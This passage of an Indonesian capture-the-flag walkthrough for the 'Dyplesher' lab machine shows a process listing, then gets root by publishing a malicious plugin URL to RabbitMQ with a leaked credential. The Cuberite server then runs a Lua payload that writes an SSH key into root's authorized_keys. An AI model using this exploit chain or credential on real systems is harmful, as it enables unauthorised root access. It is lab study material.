root        20  0.0  0.0      0     0 ?        I<   05:57   0:00 [kworker/1:0H-kblockd]
root        21  0.0  0.0      0     0 ?        S    05:57   0:00 [kdevtmpfs]
root        22  0.0  0.0      0     0 ?        I<   05:57   0:00 [netns]
root        23  0.0  0.0      0     0 ?        S    05:57   0:00 [rcu_tasks_kthre]
root        24  0.0  0.0      0     0 ?        S    05:57   0:00 [kauditd]
root        25  0.0  0.0      0     0 ?        S    05:57   0:00 [khungtaskd]
root        26  0.0  0.0      0     0 ?        S    05:57   0:00 [oom_reaper]
root        27  0.0  0.0      0     0 ?        I<   05:57   0:00 [writeback]
root        28  0.0  0.0      0     0 ?        S    05:57   0:00 [kcompactd0]
root        29  0.0  0.0      0     0 ?        SN   05:57   0:00 [ksmd]
root        30  0.0  0.0      0     0 ?        SN   05:57   0:00 [khugepaged]
root       123  0.0  0.0      0     0 ?        I<   05:57   0:00 [kintegrityd]
root       124  0.0  0.0      0     0 ?        I<   05:57   0:00 [kblockd]
root       125  0.0  0.0      0     0 ?        I<   05:57   0:00 [blkcg_punt_bio]
root       126  0.0  0.0      0     0 ?        I<   05:57   0:00 [tpm_dev_wq]
root       127  0.0  0.0      0     0 ?        I<   05:57   0:00 [ata_sff]
root       128  0.0  0.0      0     0 ?        I<   05:57   0:00 [md]
root       129  0.0  0.0      0     0 ?        I<   05:57   0:00 [edac-poller]
root       130  0.0  0.0      0     0 ?        I<   05:57   0:00 [devfreq_wq]
root       131  0.0  0.0      0     0 ?        S    05:57   0:00 [watchdogd]
root       134  0.0  0.0      0     0 ?        S    05:57   0:00 [kswapd0]
root       135  0.0  0.0      0     0 ?        I<   05:57   0:00 [kworker/u5:0]
root       136  0.0  0.0      0     0 ?        S    05:57   0:00 [ecryptfs-kthrea]
root       139  0.0  0.0      0     0 ?        I<   05:57   0:00 [kthrotld]
root       140  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/24-pciehp]
root       141  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/25-pciehp]
root       142  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/26-pciehp]
root       143  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/27-pciehp]
root       144  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/28-pciehp]
root       145  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/29-pciehp]
root       146  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/30-pciehp]
root       147  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/31-pciehp]
root       148  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/32-pciehp]
root       149  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/33-pciehp]
root       150  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/34-pciehp]
root       151  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/35-pciehp]
root       152  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/36-pciehp]
root       153  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/37-pciehp]
root       154  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/38-pciehp]
root       155  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/39-pciehp]
root       156  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/40-pciehp]
root       157  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/41-pciehp]
root       158  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/42-pciehp]
root       159  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/43-pciehp]
root       160  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/44-pciehp]
root       161  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/45-pciehp]
root       162  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/46-pciehp]
root       163  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/47-pciehp]
root       164  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/48-pciehp]
root       165  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/49-pciehp]
root       166  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/50-pciehp]
root       167  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/51-pciehp]
root       168  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/52-pciehp]
root       169  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/53-pciehp]
root       170  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/54-pciehp]
root       171  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/55-pciehp]
root       172  0.0  0.0      0     0 ?        I<   05:57   0:00 [acpi_thermal_pm]
root       173  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_0]
root       174  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_0]
root       175  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_1]
root       176  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_1]
root       179  0.0  0.0      0     0 ?        I<   05:57   0:00 [ipv6_addrconf]
root       190  0.0  0.0      0     0 ?        I<   05:57   0:00 [kstrp]
root       209  0.0  0.0      0     0 ?        I<   05:57   0:00 [charger_manager]
root       260  0.0  0.0      0     0 ?        I<   05:57   0:00 [cryptd]
root       261  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_2]
root       271  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_2]
root       272  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_3]
root       275  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_3]
root       277  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_4]
root       278  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_4]
root       280  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_5]
root       281  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_5]
root       283  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_6]
root       284  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_6]
root       286  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_7]
root       287  0.0  0.0      0     0 ?        S    05:57   0:00 [irq/16-vmwgfx]
root       288  0.0  0.0      0     0 ?        I<   05:57   0:00 [ttm_swap]
root       289  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_7]
root       292  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_8]
root       294  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_8]
root       296  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_9]
root       299  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_9]
root       300  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_10]
root       301  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_10]
root       304  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_11]
root       305  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_11]
root       307  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_12]
root       322  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_12]
root       327  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_13]
root       328  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_13]
root       331  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_14]
root       332  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_14]
root       333  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_15]
root       334  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_15]
root       335  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_16]
root       336  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_16]
root       337  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_17]
root       338  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_17]
root       339  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_18]
root       340  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_18]
root       341  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_19]
root       342  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_19]
root       343  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_20]
root       344  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_20]
root       345  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_21]
root       346  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_21]
root       347  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_22]
root       348  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_22]
root       350  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_23]
root       351  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_23]
root       352  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_24]
root       353  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_24]
root       354  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_25]
root       355  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_25]
root       356  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_26]
root       357  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_26]
root       358  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_27]
root       359  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_27]
root       360  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_28]
root       361  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_28]
root       362  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_29]
root       363  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_29]
root       364  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_30]
root       365  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_30]
root       366  0.0  0.0      0     0 ?        S    05:57   0:00 [scsi_eh_31]
root       367  0.0  0.0      0     0 ?        I<   05:57   0:00 [scsi_tmf_31]
root       395  0.0  0.0      0     0 ?        I<   05:57   0:00 [kworker/1:1H-kblockd]
root       404  0.0  0.0      0     0 ?        I<   05:57   0:00 [kworker/0:1H-kblockd]
root       427  0.0  0.0      0     0 ?        I<   05:57   0:00 [raid5wq]
root       468  0.0  0.0      0     0 ?        S    05:57   0:00 [jbd2/sda2-8]
root       469  0.0  0.0      0     0 ?        I<   05:57   0:00 [ext4-rsv-conver]
root       557  0.0  0.5 100400 24104 ?        S<s  05:57   0:01 /lib/systemd/systemd-journald
root       558  0.0  0.0   2480   768 ?        S    05:57   0:00 bpfilter_umh
root       573  0.0  0.1  20384  4876 ?        Ss   05:57   0:00 /lib/systemd/systemd-udevd
root       773  0.0  0.0      0     0 ?        I<   05:58   0:00 [kaluad]
root       774  0.0  0.0      0     0 ?        I<   05:58   0:00 [kmpath_rdacd]
root       775  0.0  0.0      0     0 ?        I<   05:58   0:00 [kmpathd]
root       776  0.0  0.0      0     0 ?        I<   05:58   0:00 [kmpath_handlerd]
root       777  0.0  0.4 280088 17892 ?        SLsl 05:58   0:00 /sbin/multipathd -d -s
root       787  0.0  0.0      0     0 ?        S<   05:58   0:00 [loop0]
root       790  0.0  0.0      0     0 ?        S<   05:58   0:00 [loop1]
root       791  0.0  0.0      0     0 ?        S<   05:58   0:00 [loop2]
root       792  0.0  0.0      0     0 ?        S<   05:58   0:00 [loop3]
root       793  0.0  0.0      0     0 ?        S<   05:58   0:00 [loop4]
root       808  0.0  0.2  43716 10056 ?        Ss   05:58   0:00 /usr/bin/VGAuthService
systemd+   809  0.0  0.1  89952  6200 ?        Ssl  05:58   0:00 /lib/systemd/systemd-timesyncd
root       834  0.0  0.3 123052 12492 ?        Ssl  05:58   0:03 /usr/bin/vmtoolsd
root       837  0.0  0.0      0     0 ?        I    05:58   0:01 [kworker/1:4-events]
systemd+   881  0.0  0.1  17868  7512 ?        Ss   05:58   0:00 /lib/systemd/systemd-networkd
systemd+   883  0.0  0.2  20668  8652 ?        Ss   05:58   0:01 /lib/systemd/systemd-resolved
rabbitmq   898  0.0  0.0   2600   732 ?        Ss   05:58   0:00 /bin/sh /usr/sbin/rabbitmq-server
root       906  0.0  0.1 235480  7376 ?        Ssl  05:58   0:00 /usr/lib/accountsservice/accounts-daemon
root       910  0.0  0.4  28636 17628 ?        Ss   05:58   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root       914  0.0  0.0  81884  3752 ?        Ssl  05:58   0:00 /usr/sbin/irqbalance --foreground
epmd       917  0.0  0.0   6436  3024 ?        Ss   05:58   0:00 /usr/bin/epmd -systemd
root       926  0.0  0.1  16400  7416 ?        Ss   05:58   0:01 /lib/systemd/systemd-logind
syslog     927  0.0  0.1 224360  4656 ?        Ssl  05:58   0:00 /usr/sbin/rsyslogd -n -iNONE
root       928  0.0  0.0   6688  3004 ?        Ss   05:58   0:00 /usr/sbin/cron -f
root       934  0.0  0.7 772424 28944 ?        Ssl  05:58   0:02 /usr/lib/snapd/snapd
git        936  0.0  1.3 650080 55160 ?        Ssl  05:58   0:01 /home/git/gogs/gogs web
message+   940  0.0  0.1   7596  5004 ?        Ss   05:58   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
daemon     941  0.0  0.0   3736  2264 ?        Ss   05:58   0:00 /usr/sbin/atd -f
root       988  0.2  1.2 971316 49512 ?        Ssl  05:58   0:09 /usr/bin/containerd
root       990  0.0  0.1  12028  7356 ?        Ss   05:58   0:00 /usr/sbin/sshd -D
root       995  0.0  2.1 1011580 85588 ?       Ssl  05:58   0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
MinatoTW  1001  0.0  0.0   8936  2412 ?        Ss   05:58   0:00 /usr/bin/SCREEN -dmS mc /usr/bin/java -Xms512M -Xmx512M -jar paper.jar
root      1002  0.0  0.0   2852  1836 tty1     Ss+  05:58   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
MinatoTW  1003  0.0  0.0   8936  2528 ?        Ss   05:58   0:00 /usr/bin/SCREEN -dmS Cuberite /home/MinatoTW/Cuberite/Cuberite
MinatoTW  1004  0.3  3.4 961168 138836 pts/1   Ssl+ 05:58   0:11 /home/MinatoTW/Cuberite/Cuberite
MinatoTW  1005  2.6  8.9 3122316 358796 pts/2  Ssl+ 05:58   1:32 /usr/bin/java -Xms512M -Xmx512M -jar paper.jar
rabbitmq  1014  0.5  1.6 2152252 67420 ?       Sl   05:58   0:20 /usr/lib/erlang/erts-10.4.4/bin/beam.smp -W w -A 64 -MBas ageffcbf -MHas ageffcbf -MBlmbcs 512 -MHlmbcs 512 -MMmcs 30 -P 1048576 -t 5000000 -stbt db -zdbbl 128000 -K true -- -root /usr/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -pa /usr/lib/rabbitmq/lib/rabbitmq_server-3.7.8/ebin -noshell -noinput -s rabbit boot -sname rabbit@dyplesher -boot start_sasl -kernel inet_default_connect_options [{nodelay,true}] -sasl errlog_type error -sasl sasl_error_logger false -rabbit lager_log_root "/var/log/rabbitmq" -rabbit lager_default_file "/var/log/rabbitmq/rabbit@dyplesher.log" -rabbit lager_upgrade_file "/var/log/rabbitmq/rabbit@dyplesher_upgrade.log" -rabbit enabled_plugins_file "/etc/rabbitmq/enabled_plugins" -rabbit plugins_dir "/usr/lib/rabbitmq/plugins:/usr/lib/rabbitmq/lib/rabbitmq_server-3.7.8/plugins" -rabbit plugins_expand_dir "/var/lib/rabbitmq/mnesia/rabbit@dyplesher-plugins-expand" -os_mon start_cpu_sup false -os_mon start_disksup false -os_mon start_memsup false -mnesia dir "/var/lib/rabbitmq/mnesia/rabbit@dyplesher" -kernel inet_dist_listen_min 25672 -kernel inet_dist_listen_max 25672
root      1178  0.0  0.1 232580  6824 ?        Ssl  05:58   0:00 /usr/lib/policykit-1/polkitd --no-debug
mysql     1221  0.4 10.0 1821668 405712 ?      Ssl  05:58   0:15 /usr/sbin/mysqld
root      1228  0.0  0.5 196616 20656 ?        Ss   05:58   0:00 /usr/sbin/apache2 -k start
MinatoTW  1238  0.0  0.2 196960  8972 ?        S    05:58   0:00 /usr/sbin/apache2 -k start
MinatoTW  1239  0.0  0.2 196960  8972 ?        S    05:58   0:00 /usr/sbin/apache2 -k start
MinatoTW  1240  0.0  0.2 196960  8972 ?        S    05:58   0:00 /usr/sbin/apache2 -k start
MinatoTW  1277  0.0  0.2 196960  8972 ?        S    05:58   0:00 /usr/sbin/apache2 -k start
MinatoTW  1278  0.0  0.2 196960  8972 ?        S    05:58   0:00 /usr/sbin/apache2 -k start
root      1550  0.0  0.5 107676 20944 ?        Ssl  05:58   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root      1562  0.0  0.0 548188  3336 ?        Sl   05:58   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 11211 -container-ip 172.17.0.2 -container-port 11211
root      1579  0.0  0.1 108940  5032 ?        Sl   05:58   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/8e537b4a1d82bef9748d1446f4d3bb8d0afede3e74746f9fe95c147f7abd781c -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
MinatoTW  1662  0.0  0.2 417652  8640 ?        Ssl  05:58   0:01 /opt/bitnami/memcached/bin/memcached -u memcached -p 11211 -v -S
rabbitmq  2055  0.0  0.0   2484  1632 ?        Ss   05:58   0:00 erl_child_setup 65536
rabbitmq  2078  0.0  0.0   3872  1112 ?        Ss   05:58   0:00 inet_gethost 4
rabbitmq  2079  0.0  0.0   3952  1784 ?        S    05:58   0:00 inet_gethost 4
root      2201  0.0  0.0   8936  2520 ?        Ss   05:59   0:00 /usr/bin/SCREEN -dmS com /usr/bin/php /root/work/com.php
root      2202  0.0  0.4  62276 19684 pts/0    Ss+  05:59   0:00 /usr/bin/php /root/work/com.php
root      2485  0.0  0.0      0     0 ?        I    06:04   0:00 [kworker/u4:1-events_unbound]
root      4062  0.0  0.0      0     0 ?        I    06:30   0:00 [kworker/u4:0-events_power_efficient]
root      4487  0.0  0.0      0     0 ?        I    06:37   0:00 [kworker/u4:2-events_power_efficient]
root      5076  0.0  0.0      0     0 ?        I    06:46   0:00 [kworker/0:1-events]
root      5085  0.0  0.0      0     0 ?        I    06:46   0:00 [kworker/0:2-events]
root      5274  0.0  0.0      0     0 ?        I    06:47   0:00 [kworker/1:0-events]
root      6040  0.0  0.0      0     0 ?        I    06:55   0:00 [kworker/1:1-events]
root      6047  0.0  0.0      0     0 ?        I    06:55   0:00 [kworker/1:2]
root      6113  0.0  0.0      0     0 ?        D    06:55   0:00 [kworker/0:0+events]
felamos   6145  0.0  0.2  18168  9444 ?        Ss   06:56   0:00 /lib/systemd/systemd --user
felamos   6146  0.0  0.0 168292  3032 ?        S    06:56   0:00 (sd-pam)
root      6156  0.0  0.0      0     0 ?        I    06:56   0:00 [kworker/0:3]
root      6232  0.0  0.2  12912  8328 ?        Ss   06:56   0:00 sshd: felamos [priv]
felamos   6313  0.0  0.1  13224  5000 ?        S    06:56   0:00 sshd: felamos@pts/3
felamos   6314  0.2  0.1   8304  5132 pts/3    Ss   06:56   0:00 -bash
felamos   6359  0.1  0.0   7724  3980 pts/3    S+   06:56   0:00 /bin/bash ./LinEnum.sh
felamos   6360  0.1  0.0   7724  2776 pts/3    S+   06:56   0:00 /bin/bash ./LinEnum.sh
felamos   6361  0.0  0.0   5436   784 pts/3    S+   06:56   0:00 tee -a
root      6549  0.0  0.0  20384  2368 ?        S    06:56   0:00 /lib/systemd/systemd-udevd
felamos   6567  0.0  0.0   7724  2584 pts/3    S+   06:56   0:00 /bin/bash ./LinEnum.sh
felamos   6568  0.0  0.0   8780  3288 pts/3    R+   06:56   0:00 ps aux

Kita bisa melihat sebuah process yang dijalankan oleh MinatoTW yang bernama Cuberite mari kita coba untuk lihat di google

https://github.com/cuberite/cuberite

Ternyata cuberita adalah game server yang compatible untuk Minecraft yang ditulis dalam bahasa C++ yang di desain untuk mengutamakan efisiensi memory dan CPU sehingga bisa dibilang lightweight dan memiliki “Lua Plugin API”

Sehingga untuk membuat pluginnya Cuberite yang akan kita inject kita bisa menggunakan script dalam bahasa Lua

Juga perlu diingat kembali karena firewall yang melarang outbound connection, script Lua kita harus berada di mesin dyplesher tersebut sendiri.

Sekarang bagaimana caranya kita metrigger “publish” yang tadi di minta oleh felamos? Kita bisa menggunakan python module Pika https://www.rabbitmq.com/tutorials/tutorial-three-python.html

Dengan menggunakan referensi dari https://pika.readthedocs.io/en/stable/intro.html dan informasi sebelumnya yang sudah didapatkan seperti credential, metode publish serta exchange/routing key nya. Penulis membuat script seperti dibawah ini

import pika

credentials = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
parameters = pika.ConnectionParameters('dyplesher.htb',5672,'/',credentials)

connection = pika.BlockingConnection(parameters)
channel = connection.channel()
channel.basic_publish(routing_key="plugin_data",body="http://127.0.0.1:8080/test.lua")
connection.close()

Image

Scriptnya error ketika di jalankan, mari kita tambahkan field exchange tapi tidak diisi karena kita tidak mengetahui exchange mana tujuan yang di post walaupun kita tau routing_key yang dituju

import pika

credentials = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
parameters = pika.ConnectionParameters('dyplesher.htb',5672,'/',credentials)

connection = pika.BlockingConnection(parameters)
channel = connection.channel()
channel.basic_publish(exchange="", routing_key="plugin_data",body="http://127.0.0.1:8080/test.lua")
connection.close()

Penulis juga menyiapkan file test.lua didalam folder yuntao

os.execute ("touch /home/yuntao/testfile")

Perlu diingat harus ada spasi diantara os.execute dan argument yang diberikan dan pastikan script lua memiliki permission untuk execute

Buka python simple http server agar Cuberite bisa mengambil plugin lua dari folder yuntao dan di execute

Image

File yang kita coba buat ternyata dibuat oleh root, ini berarti kita tinggal memasukkan ssh public key kita ke /root/.ssh/authorized_keys

Penulis membuat script write to file seperti dibawah ini

file = io.open("/root/.ssh/authorized_keys","w")
io.output(file)
io.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7ujNTqjCu3sovW2WgNZF5ErZXaGa5TrwLhvEaFu2NVv9GTGKtE8wRymiRYhzppfTJ7ycBetXoj7jb6AAKRTEmC9B2CI2+tyhvEtrDYpooCm2xUPA/CxhiLByi8x2ucdV7SYiaI0HhuYthFqS+oQPk6eD0nkIWY/iPpA1xsremhsft6fhRnedlqVXgGNULGJaUIYJFk9IPm3Zt5OzCLc5Sldpg/c8loLIBb6VF7zMM3hvXgJH<-- Censored -->XFCap7/gEALFlc+Jg7F788th+XSGr7IGVAyF26K2/tUpzZUQ3dmLn246QSBDEbPDFANt/AXzsPnwtvHs/2km9TXVXEjy3fj7B1G2p44etoflMHKQLmEv/WkrY1TvG7ps83envBkKnQoMFSQbK9SWMiQWRH3SrneLS+c7YNGP08ADT4oGpRQspBHstnt3vWS1p3x6wTUnZqqO81onShvE= root@kali")
io.close()

Dan jalankan pikascript.py lagi untuk mengirimkan url ke Cuberite dan script lua tadi akan dijalankan dengan root privilege, sekarang tinggal login melalui ssh

Image

Rooted !